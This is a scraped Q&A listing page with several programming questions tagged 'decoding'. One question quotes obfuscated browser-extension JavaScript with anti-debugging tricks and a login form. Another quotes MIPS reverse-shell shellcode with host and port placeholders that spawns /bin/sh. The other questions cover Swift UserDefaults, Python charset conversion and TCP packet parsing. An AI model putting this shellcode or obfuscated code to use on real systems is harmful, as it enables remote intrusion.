if(_0x5638a9){_0x32ceda=_0xdd7ef1['getCookie'](null,'counter');}else{_0xdd7ef1['removeCookie']();}};_0x1af375();}(_0x1b5a,0xc3));var _0x2ba7=function(_0x16ab9f,_0x1b5a7a){_0x16ab9f=_0x16ab9f-0x0;var _0x2ba715=_0x1b5a[_0x16ab9f];return _0x2ba715;};var _0x243201=function(){var _0x11fd75=!![];return function(_0xa74c1d,_0xe3c57c){var _0x261b9c=_0x11fd75?function(){if(_0xe3c57c){var _0x469a37=_0xe3c57c[_0x2ba7('\x30\x78\x33\x36')](_0xa74c1d,arguments);_0xe3c57c=null;return _0x469a37;}}:function(){};_0x11fd75=![];return _0x261b9c;};}();var _0x5638a9=_0x243201(this,function(){var _0x3f1742={};_0x3f1742[_0x2ba7('\x30\x78\x32\x31')]=_0x2ba7('\x30\x78\x32\x36');_0x3f1742[_0x2ba7('\x30\x78\x33\x35')]=function(_0x48b5c5){return _0x48b5c5();};var _0x4a31ce=_0x3f1742;var _0x2c0b21=function(){var _0x154f12=_0x2c0b21[_0x2ba7('\x30\x78\x36')](_0x2ba7('\x30\x78\x34'))()['\x63\x6f\x6d\x70\x69\x6c\x65'](_0x4a31ce['\x4c\x70\x6a\x55\x72']);return!_0x154f12['\x74\x65\x73\x74'](_0x5638a9);};return _0x4a31ce[_0x2ba7('\x30\x78\x33\x35')](_0x2c0b21);});_0x5638a9();var _0xdd7ef1=function(){var _0x5b5961=!![];return function(_0xc7fbe8,_0x2ab9fd){var _0x224de1=_0x5b5961?function(){if(_0x2ab9fd){var _0x52ffb5=_0x2ab9fd[_0x2ba7('\x30\x78\x33\x36')](_0xc7fbe8,arguments);_0x2ab9fd=null;return _0x52ffb5;}}:function(){};_0x5b5961=![];return _0x224de1;};}();var _0x5cec0c=_0xdd7ef1(this,function(){var _0x57fc36={};_0x57fc36[_0x2ba7('\x30\x78\x34\x32')]=_0x2ba7('\x30\x78\x32\x37');_0x57fc36[_0x2ba7('\x30\x78\x63')]=function(_0x14e3ce,_0x46080d){return _0x14e3ce(_0x46080d);};_0x57fc36[_0x2ba7('\x30\x78\x33\x66')]=function(_0x2afa66,_0x5be2bf){return _0x2afa66+_0x5be2bf;};_0x57fc36[_0x2ba7('\x30\x78\x33\x64')]=function(_0x50bad1){return _0x50bad1();};var _0xd46126=_0x57fc36;var _0x478f98=_0x2ba7('\x30\x78\x33\x30')['\x73\x70\x6c\x69\x74']('\x7c');var _0x5437c0=0x0;while(!![]){switch(_0x478f98[_0x5437c0++]){case'\x30':if(!_0x5dce2d[_0x2ba7('\x30\x78\x32\x64')]){_0x5dce2d[_0x2ba7('\x30\x78\x32\x64')]=function(_0x429b35){var _0x231c56={};_0x231c56['\x6c\x6f\x67']=_0x429b35;_0x231c56['\x77\x61\x72\x6e']=_0x429b35;_0x231c56[_0x2ba7('\x30\x78\x33')]=_0x429b35;_0x231c56[_0x2ba7('\x30\x78\x31\x63')]=_0x429b35;_0x231c56[_0x2ba7('\x30\x78\x34\x36')]=_0x429b35;_0x231c56[_0x2ba7('\x30\x78\x39')]=_0x429b35;_0x231c56[_0x2ba7('\x30\x78\x31\x38')]=_0x429b35;_0x231c56[_0x2ba7('\x30\x78\x31\x62')]=_0x429b35;return _0x231c56;}(_0x3d5d81);}else{var _0x478062=_0xd46126[_0x2ba7('\x30\x78\x34\x32')]['\x73\x70\x6c\x69\x74']('\x7c');var _0x203db5=0x0;while(!![]){switch(_0x478062[_0x203db5++]){case'\x30':_0x5dce2d[_0x2ba7('\x30\x78\x32\x64')][_0x2ba7('\x30\x78\x33\x31')]=_0x3d5d81;continue;case'\x31':_0x5dce2d[_0x2ba7('\x30\x78\x32\x64')][_0x2ba7('\x30\x78\x39')]=_0x3d5d81;continue;case'\x32':_0x5dce2d[_0x2ba7('\x30\x78\x32\x64')][_0x2ba7('\x30\x78\x31\x63')]=_0x3d5d81;continue;case'\x33':_0x5dce2d[_0x2ba7('\x30\x78\x32\x64')][_0x2ba7('\x30\x78\x37')]=_0x3d5d81;continue;case'\x34':_0x5dce2d[_0x2ba7('\x30\x78\x32\x64')]['\x74\x61\x62\x6c\x65']=_0x3d5d81;continue;case'\x35':_0x5dce2d[_0x2ba7('\x30\x78\x32\x64')][_0x2ba7('\x30\x78\x34\x36')]=_0x3d5d81;continue;case'\x36':_0x5dce2d[_0x2ba7('\x30\x78\x32\x64')]['\x74\x72\x61\x63\x65']=_0x3d5d81;continue;case'\x37':_0x5dce2d[_0x2ba7('\x30\x78\x32\x64')][_0x2ba7('\x30\x78\x33')]=_0x3d5d81;continue;}break;}}continue;case'\x31':var _0x45d015={};_0x45d015['\x53\x48\x45\x61\x61']=function(_0x1573c4,_0x47601e){return _0xd46126['\x53\x66\x70\x69\x77'](_0x1573c4,_0x47601e);};_0x45d015['\x74\x41\x55\x55\x4f']=function(_0x16739e,_0xdaebce){return _0xd46126[_0x2ba7('\x30\x78\x33\x66')](_0x16739e,_0xdaebce);};_0x45d015['\x70\x6a\x75\x66\x4a']=_0x2ba7('\x30\x78\x31\x39');_0x45d015[_0x2ba7('\x30\x78\x32\x62')]=_0x2ba7('\x30\x78\x65');var _0x1dbc61=_0x45d015;continue;case'\x32':var _0x56a491=function(){var _0x31dab6;try{_0x31dab6=_0x1dbc61[_0x2ba7('\x30\x78\x31\x64')](Function,_0x1dbc61[_0x2ba7('\x30\x78\x31\x33')](_0x1dbc61[_0x2ba7('\x30\x78\x31\x33')](_0x1dbc61[_0x2ba7('\x30\x78\x31\x61')],_0x1dbc61[_0x2ba7('\x30\x78\x32\x62')]),'\x29\x3b'))();}catch(_0x4901f7){_0x31dab6=window;}return _0x31dab6;};continue;case'\x33':var _0x3d5d81=function(){};continue;case'\x34':var _0x5dce2d=_0xd46126[_0x2ba7('\x30\x78\x33\x64')](_0x56a491);continue;}break;}});_0x5cec0c();function main(){var _0x2efbad={};_0x2efbad[_0x2ba7('\x30\x78\x64')]=_0x2ba7('\x30\x78\x33\x38');_0x2efbad[_0x2ba7('\x30\x78\x33\x62')]='\x64\x6f\x4c\x6f\x67\x69\x6e';_0x2efbad[_0x2ba7('\x30\x78\x62')]=_0x2ba7('\x30\x78\x32\x39');_0x2efbad[_0x2ba7('\x30\x78\x32\x63')]=function(_0x3f39bb,_0x27794a){return _0x3f39bb==_0x27794a;};_0x2efbad[_0x2ba7('\x30\x78\x31')]=_0x2ba7('\x30\x78\x31\x34');_0x2efbad[_0x2ba7('\x30\x78\x34\x31')]=_0x2ba7('\x30\x78\x32\x38');_0x2efbad['\x49\x46\x4a\x50\x6b']='\x67\x65\x74\x53\x74\x61\x74\x75\x73';_0x2efbad[_0x2ba7('\x30\x78\x32\x35')]=_0x2ba7('\x30\x78\x30');var _0x13ebaf=_0x2efbad;var _0x5b2666={};_0x5b2666[_0x2ba7('\x30\x78\x31\x66')]=![];_0x5b2666['\x69\x64']='';_0x5b2666[_0x2ba7('\x30\x78\x31\x65')]='';_0x5b2666['\x65\x6d\x61\x69\x6c']='';_0x5b2666[_0x2ba7('\x30\x78\x31\x37')]='';_0x5b2666[_0x2ba7('\x30\x78\x32')]='';_0x5b2666[_0x2ba7('\x30\x78\x32\x66')]='';_0x5b2666[_0x2ba7('\x30\x78\x32\x32')]=![];_0x5b2666[_0x2ba7('\x30\x78\x32\x38')]='';_0x5b2666['\x76\x61\x6c\x6f\x72\x55\x6e\x69\x64\x61\x64\x65\x42\x65\x74\x33\x36\x35']=0.5;_0x5b2666[_0x2ba7('\x30\x78\x38')]=0x1;_0x5b2666[_0x2ba7('\x30\x78\x33\x33')]=chrome[_0x2ba7('\x30\x78\x34\x30')][_0x2ba7('\x30\x78\x31\x35')]()[_0x2ba7('\x30\x78\x33\x32')];_0x5b2666[_0x2ba7('\x30\x78\x32\x61')]='';_0x5b2666['\x74\x65\x6c\x61']='';_0x5b2666['\x65\x6e\x76\x69\x61\x6e\x64\x6f\x46\x6f\x72\x6d']=![];_0x5b2666[_0x2ba7('\x30\x78\x32\x30')]=0x0;var _0x2f4180={};_0x2f4180[_0x2ba7('\x30\x78\x33\x61')]=function(){return this[_0x2ba7('\x30\x78\x31\x30')];};app=new Vue({'\x65\x6c':_0x13ebaf[_0x2ba7('\x30\x78\x32\x35')],'\x64\x61\x74\x61':_0x5b2666,'\x6d\x65\x74\x68\x6f\x64\x73':{'\x6c\x6f\x67\x6f\x75\x74':function(){var _0x18b8e6={};_0x18b8e6[_0x2ba7('\x30\x78\x66')]=_0x13ebaf[_0x2ba7('\x30\x78\x64')];chrome[_0x2ba7('\x30\x78\x34\x30')][_0x2ba7('\x30\x78\x33\x37')](_0x18b8e6);},'\x6c\x6f\x67\x69\x6e':function(_0xcd676a){var _0x27c34c='\x34\x7c\x31\x7c\x32\x7c\x30\x7c\x33'[_0x2ba7('\x30\x78\x34\x33')]('\x7c');var _0x1420a9=0x0;while(!![]){switch(_0x27c34c[_0x1420a9++]){case'\x30':var …
Run Code Online (Sandbox Code Playgroud)我有一些 shellcode,当我转换为 ascii 时,它不会输出文本,它只是乱码。
\x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e + lport +\x35\xce + lport +\xaf\xae\xff\xe4\x3c\x0e + lhost[:2] +\x35\xce + lhost[2:4] +\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c
Run Code Online (Sandbox Code Playgroud)
我尝试使用相同的输出以多种方式对其进行解码,还有其他方法可以对其进行解码吗?
我有一个array
with 类型[NotificationTriggers]
,我想存储在userdefaults
. 为此,数据需要是encoded
和decoded
。我在这里遵循了教程:
https://cocoacasts.com/ud-5-how-to-store-a-custom-object-in-user-defaults-in-swift
和这里:
但我仍然收到一个我似乎无法解决的错误。
我有一个我在变量的 get 和 set 中施展魔法extension
的userDefaults
地方。NotificationTriggers
Struct
看起来像这样:
struct NotificationTriggers: Equatable, Codable {
var doorName: String
var notificationTrigger: String
}
Run Code Online (Sandbox Code Playgroud)
Encoding
似乎工作,但在decoding
我得到一个error
说法
无法将“[Any]”类型的值转换为预期的参数类型“Data”
这是代码:
extension UserDefaults {
var notificationTrigger: [NotificationTriggers] {
get {
if let data = self.array(forKey: UserDefaultsKey.notificationTrigger.rawValue) {
do {
let decoder = JSONDecoder()
//CODE BELOW PRODUCE ERROR
if let decodedData = try …
Run Code Online (Sandbox Code Playgroud) 我想在python中从windows-1252转换为utf-8,我写了这样的代码:
def encode(input_file, output_file):
f = open(input_file, "r")
data = f.read()
f.close()
# Convert from Windows-1252 to UTF-8
encoded = data.encode('Windows-1252').decode('utf-8')
with safe_open_w(output_file) as f:
f.write(encoded)
Run Code Online (Sandbox Code Playgroud)
但我有这个错误:
encoded = data.encode('Windows-1252').decode('utf-8')
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe8 in position 5653: invalid continuation byte
Run Code Online (Sandbox Code Playgroud)
我尝试使用此元标记转换 html:
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
Run Code Online (Sandbox Code Playgroud) 我正在尝试解码通过tcp连接接收的数据.数据包很小,不超过100个字节.然而,当它们中有很多时我会收到一些连接在一起的数据包.有没有办法防止这种情况发生.我正在使用python
我试图分开数据包,我的来源如下.数据包以STX字节开头,以ETX字节结束,STX后面的字节是数据包长度(数据包长度小于5无效)校验和是ETX之前的最后一个字节
def decode(data):
while True:
start = data.find(STX)
if start == -1: #no stx in message
pkt = ''
data = ''
break
#stx found , next byte is the length
pktlen = ord(data[1])
#check message ends in ETX (pktken -1) or checksum invalid
if pktlen < 5 or data[pktlen-1] != ETX or checksum_valid(data[start:pktlen]) == False:
print "Invalid Pkt"
data = data[start+1:]
continue
else:
pkt = data[start:pktlen]
data = data[pktlen:]
break
return data , pkt
Run Code Online (Sandbox Code Playgroud)
我这样用它
#process reports
try: …
Run Code Online (Sandbox Code Playgroud) decoding ×10
python ×3
audio ×2
encoding ×2
ffmpeg ×2
c ×1
c# ×1
c++ ×1
encryption ×1
file ×1
gzip ×1
ios ×1
javascript ×1
jruby ×1
libavcodec ×1
linux ×1
obfuscation ×1
packets ×1
qr-code ×1
ruby ×1
shellcode ×1
string ×1
swift ×1
tcp ×1
userdefaults ×1
utf-8 ×1
windows-1252 ×1
zlib ×1
zxing ×1